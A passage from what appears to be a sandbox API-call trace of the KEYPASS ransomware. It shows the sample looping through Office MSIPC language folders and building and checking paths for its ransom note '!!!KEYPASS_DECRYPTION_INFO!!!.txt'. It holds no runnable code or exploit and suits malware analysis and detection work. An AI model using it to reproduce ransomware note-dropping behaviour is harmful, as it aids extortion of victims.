Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.224] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.225] GetFileType (hFile=0x1534) returned 0x1 [0275.226] CloseHandle (hObject=0x1534) returned 1 [0275.226] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.226] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.226] GetLastError () returned 0x3f0 [0275.226] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.227] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.228] GetFileType (hFile=0x1568) returned 0x1 [0275.228] CloseHandle (hObject=0x1568) returned 1 [0275.228] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.228] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.228] GetLastError () returned 0x3f0 [0275.229] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.229] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.230] GetFileType (hFile=0x1570) returned 0x1 [0275.231] CloseHandle (hObject=0x1570) returned 1 [0275.231] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.231] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.231] GetLastError () returned 0x3f0 [0275.231] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.231] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.231] GetFileType (hFile=0x1574) returned 0x1 [0275.232] CloseHandle (hObject=0x1574) returned 1 [0275.232] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.232] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.232] GetLastError () returned 0x3f0 [0275.232] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.232] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.233] GetFileType (hFile=0x1578) returned 0x1 [0275.234] CloseHandle (hObject=0x1578) returned 1 [0275.235] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.235] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.235] GetLastError () returned 0x3f0 [0275.235] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.235] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.235] GetFileType (hFile=0x157c) returned 0x1 [0275.236] CloseHandle (hObject=0x157c) returned 1 [0275.236] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.236] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.236] GetLastError () returned 0x3f0 [0275.236] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.236] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.237] GetFileType (hFile=0x1580) returned 0x1 [0275.238] CloseHandle (hObject=0x1580) returned 1 [0275.238] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.238] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.238] GetLastError () returned 0x3f0 [0275.238] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.238] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.239] GetFileType (hFile=0x1584) returned 0x1 [0275.239] CloseHandle (hObject=0x1584) returned 1 [0275.239] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.239] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.239] GetLastError () returned 0x3f0 [0275.240] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.240] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.240] GetFileType (hFile=0x1588) returned 0x1 [0275.241] CloseHandle (hObject=0x1588) returned 1 [0275.241] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.241] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.241] GetLastError () returned 0x3f0 [0275.241] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.241] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.242] GetFileType (hFile=0x158c) returned 0x1 [0275.242] CloseHandle (hObject=0x158c) returned 1 [0275.243] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.243] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.243] GetLastError () returned 0x3f0 [0275.243] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.243] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.244] GetFileType (hFile=0x156c) returned 0x1 [0275.245] CloseHandle (hObject=0x156c) returned 1 [0275.245] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.245] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.245] GetLastError () returned 0x3f0 [0275.245] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.245] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.246] GetFileType (hFile=0x1590) returned 0x1 [0275.247] CloseHandle (hObject=0x1590) returned 1 [0275.247] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.247] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.247] GetLastError () returned 0x3f0 [0275.247] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.247] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.247] GetFileType (hFile=0x1594) returned 0x1 [0275.248] CloseHandle (hObject=0x1594) returned 1 [0275.248] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.248] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.248] GetLastError () returned 0x3f0 [0275.249] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.249] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.250] GetFileType (hFile=0x1598) returned 0x1 [0275.251] CloseHandle (hObject=0x1598) returned 1 [0275.251] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.251] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.251] GetLastError () returned 0x3f0 [0275.251] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.251] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.252] GetFileType (hFile=0x159c) returned 0x1 [0275.253] CloseHandle (hObject=0x159c) returned 1 [0275.253] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.253] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.253] GetLastError () returned 0x3f0 [0275.253] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.253] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.254] GetFileType (hFile=0x15a0) returned 0x1 [0275.255] CloseHandle (hObject=0x15a0) returned 1 [0275.255] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.255] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.255] GetLastError () returned 0x3f0 [0275.255] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.255] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.256] GetFileType (hFile=0x15a4) returned 0x1 [0275.256] CloseHandle (hObject=0x15a4) returned 1 [0275.256] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.257] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.257] GetLastError () returned 0x3f0 [0275.257] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pt-BR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.257] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.257] GetFileType (hFile=0x15a8) returned 0x1 [0275.258] CloseHandle (hObject=0x15a8) returned 1 [0275.258] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.258] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.258] GetLastError () returned 0x3f0 [0275.258] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.258] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.259] GetFileType (hFile=0x15ac) returned 0x1 [0275.260] CloseHandle (hObject=0x15ac) returned 1 [0275.260] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.260] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.260] GetLastError () returned 0x3f0 [0275.260] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.260] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.261] GetFileType (hFile=0x15b4) returned 0x1 [0275.262] CloseHandle (hObject=0x15b4) returned 1 [0275.262] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.262] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.262] GetLastError () returned 0x3f0 [0275.262] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.262] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.263] GetFileType (hFile=0x15b8) returned 0x1 [0275.263] CloseHandle (hObject=0x15b8) returned 1 [0275.264] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.264] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.264] GetLastError () returned 0x3f0 [0275.264] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.264] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.264] GetFileType (hFile=0x15bc) returned 0x1 [0275.265] CloseHandle (hObject=0x15bc) returned 1 [0275.265] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.265] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 